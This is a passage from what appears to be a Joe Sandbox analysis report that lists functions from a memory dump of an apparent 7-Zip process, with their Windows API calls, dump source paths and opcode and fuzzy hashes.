                                                                                                                                                                                                                                                              • Instruction ID: 07c01d515d6b3a07d590def8f7a5e2746046b1b52e2f4334cfb591079ed2dfa4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C301D263702A45A6DA24EF2AD8201ED2322F783FF4B584321EF2D0B790CF24D892C304
                                                                                                                                                                                                                                                              Function 006D3864 Relevance: 6.3, APIs: 5, Instructions: 40COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D3877
                                                                                                                                                                                                                                                                • Part of subcall function 006D0BBC: free.MSVCRT ref: 006D0BCC
                                                                                                                                                                                                                                                                • Part of subcall function 006D0BBC: free.MSVCRT ref: 006D0BD5
                                                                                                                                                                                                                                                                • Part of subcall function 006D0BBC: free.MSVCRT ref: 006D0C00
                                                                                                                                                                                                                                                                • Part of subcall function 006D0BBC: free.MSVCRT ref: 006D0C08
                                                                                                                                                                                                                                                                • Part of subcall function 006D1474: free.MSVCRT ref: 006D14A6
                                                                                                                                                                                                                                                                • Part of subcall function 006D1474: free.MSVCRT ref: 006D14AF
                                                                                                                                                                                                                                                                • Part of subcall function 006D1474: free.MSVCRT ref: 006D14B8
                                                                                                                                                                                                                                                                • Part of subcall function 006D1474: free.MSVCRT ref: 006D14C0
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D3892
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D389B
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D38C6
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D38CE
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
                                                                                                                                                                                                                                                              • Instruction ID: 337c1f8569fc3c841cc492ee8c71444f71e02e2cc7ecc1311d5c8c8df5d279a8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0BF08663F118509ACA55FE2ADD611EC1351FB85F907080267EF1D4B751DF50C9A28344
                                                                                                                                                                                                                                                              Function 006DC9CC Relevance: 6.3, APIs: 5, Instructions: 36COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
                                                                                                                                                                                                                                                              • Instruction ID: 5c58c675b314db95e9566565831cad57165dde262900cd558fd1b6c8d020289f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6DF09653B0159589CA60EE2BDCB11E86351AF55BE871C0275FF1E47754DE20C893C304
                                                                                                                                                                                                                                                              Function 006DCA3C Relevance: 6.3, APIs: 5, Instructions: 36COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
                                                                                                                                                                                                                                                              • Instruction ID: 124dec3945ff25e7f6d1d12e8abc4dc612aa0e2d8195e74d09aa431f33e06c1d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D8F09693B015858DCA50EE2ADC912E82351AF55BA9B5C4275FF1D07755DE20C8D2C344
                                                                                                                                                                                                                                                              Function 006C2A84 Relevance: 6.3, APIs: 5, Instructions: 36COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
                                                                                                                                                                                                                                                              • Instruction ID: fb567ad3fdbd9f89fef7b9a50b18d3d35bc9f92826f1f9c7c40bf91c80585e45
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A2F0B46371184589CB65EE3EDC716B82362EBD5FD4B190269EF2D0B359DE30CC828344
                                                                                                                                                                                                                                                              Function 006F7690 Relevance: 6.3, APIs: 5, Instructions: 22COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F76AF
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F76BB
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F76C7
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F76D3
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB335
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB342
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB34E
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB358
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB362
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB36C
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB376
                                                                                                                                                                                                                                                                • Part of subcall function 006FB310: free.MSVCRT ref: 006FB380
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F76E4
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
                                                                                                                                                                                                                                                              • Instruction ID: ab6ed57512e4bfbed5b9eff0c40a1e81237502a616dcc52d4c565ed991c02ca6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D2E0E57261154581CB90FF39CCA51EC23A1E799B58F180275EF1D8F361DE10C5C38358
                                                                                                                                                                                                                                                              Function 006F02F0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$memmove
                                                                                                                                                                                                                                                              • String ID: Internal collision in update action set
                                                                                                                                                                                                                                                              • API String ID: 265668421-2378581463
                                                                                                                                                                                                                                                              • Opcode ID: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
                                                                                                                                                                                                                                                              • Instruction ID: 7559a2eb719992c87520b5f86a3c2c2f705c61213eb5287075b2c75b4f5e60ca
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 45411333209689CAEB35CB1AE4547BE7B92F38978CF448119EF8943B5ADB78D545CB00
                                                                                                                                                                                                                                                              Function 006E6D5C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E6E91
                                                                                                                                                                                                                                                                • Part of subcall function 006B3518: free.MSVCRT ref: 006B3551
                                                                                                                                                                                                                                                                • Part of subcall function 006B3314: memmove.MSVCRT ref: 006B3339
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E6E83
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: exe
                                                                                                                                                                                                                                                              • API String ID: 1534225298-1801697008
                                                                                                                                                                                                                                                              • Opcode ID: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
                                                                                                                                                                                                                                                              • Instruction ID: 3f0c787edd74e772de1ab52a96a2c929a4f0c741794fcf2b3ad694af041aba9a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4131E463304A4196CA70EB25E8501DEBB32F7917D4F845216FB9F077A9DF28D68ACB04
                                                                                                                                                                                                                                                              Function 006D9380 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ByteStringmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 400576877-0
                                                                                                                                                                                                                                                              • Opcode ID: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
                                                                                                                                                                                                                                                              • Instruction ID: 06bd0dd8a548a661b84771cb5dc271c366286718576f001db7a55ef21454c792
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EF21E76370474091DB209F95E4503E972A2FB887A4F484226AF9E0B795DF78C853C354
                                                                                                                                                                                                                                                              Function 006D9644 Relevance: 6.1, APIs: 4, Instructions: 71COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$wcscmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 4021281200-0
                                                                                                                                                                                                                                                              • Opcode ID: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
                                                                                                                                                                                                                                                              • Instruction ID: 826f37a01156463cb75d68a2efdeecff228c5c858e2f8ed05d148fa1dab31e6c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0C21F27671464192DB30AF26E4402A97362EBC6BE4F145326EF6A47794EF34C586CB10
                                                                                                                                                                                                                                                              Function 006BFADC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: Unsupported charset:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-616772432
                                                                                                                                                                                                                                                              • Opcode ID: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
                                                                                                                                                                                                                                                              • Instruction ID: ae1389e7f113b301ffcd74d2f588fb333e82315ea6e3ab4cac9ea179956816fc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DB2160A3608A0192DA209B18E8903D97722E7C47E4F545326EBAD477B5CE68C9C6C740
                                                                                                                                                                                                                                                              Function 006B6D48 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: GetFileAttributesW.KERNELBASE ref: 006B7D6E
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: GetFileAttributesW.KERNEL32 ref: 006B7DA5
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: free.MSVCRT ref: 006B7DB2
                                                                                                                                                                                                                                                              • DeleteFileW.KERNEL32 ref: 006B6D90
                                                                                                                                                                                                                                                              • DeleteFileW.KERNEL32 ref: 006B6DCA
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B6DDA
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B6DE8
                                                                                                                                                                                                                                                                • Part of subcall function 006B68A0: SetFileAttributesW.KERNELBASE ref: 006B68C7
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: File$Attributesfree$Delete
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 324319583-0
                                                                                                                                                                                                                                                              • Opcode ID: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
                                                                                                                                                                                                                                                              • Instruction ID: 254b7724c220d3e59621c44d22f288a5b4b13287a1012d6beceee124fa141103
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E7016DA231460141CE70AB28EC613F953235FC6BB4F581325BE6E8B3E5EE2DC9D69705
                                                                                                                                                                                                                                                              Function 006C211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32 ref: 006C2137
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006C21BB
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: FormatMessageW.KERNEL32 ref: 006B6676
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: LocalFree.KERNEL32 ref: 006B6698
                                                                                                                                                                                                                                                                • Part of subcall function 006B362C: memmove.MSVCRT ref: 006B3659
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006C2182
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ErrorFormatFreeLastLocalMessagememmove
                                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                                              • API String ID: 1743135865-3653984579
                                                                                                                                                                                                                                                              • Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
                                                                                                                                                                                                                                                              • Instruction ID: 4b215ab1683c247cb53b3617915bc5ad919a69cf3e893e82522cd97de3b04975
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 770186A330490090CA60EB25E8502DA6722EBC5BF4F545325BF5E477B8EE38CAC6C744
                                                                                                                                                                                                                                                              Function 006BC878 Relevance: 6.0, APIs: 4, Instructions: 49fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast$FileHandleRead
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2244327787-0
                                                                                                                                                                                                                                                              • Opcode ID: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
                                                                                                                                                                                                                                                              • Instruction ID: 162830ba65ead04cda19ea02334c65186f0284b64be71b9a97e5a676b60ba24e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D00126627200618BD7219B3DEC003E96396BB08BF1F904131FE4ACBB54DB29CDC28780
                                                                                                                                                                                                                                                              Function 006FACDC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 43COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
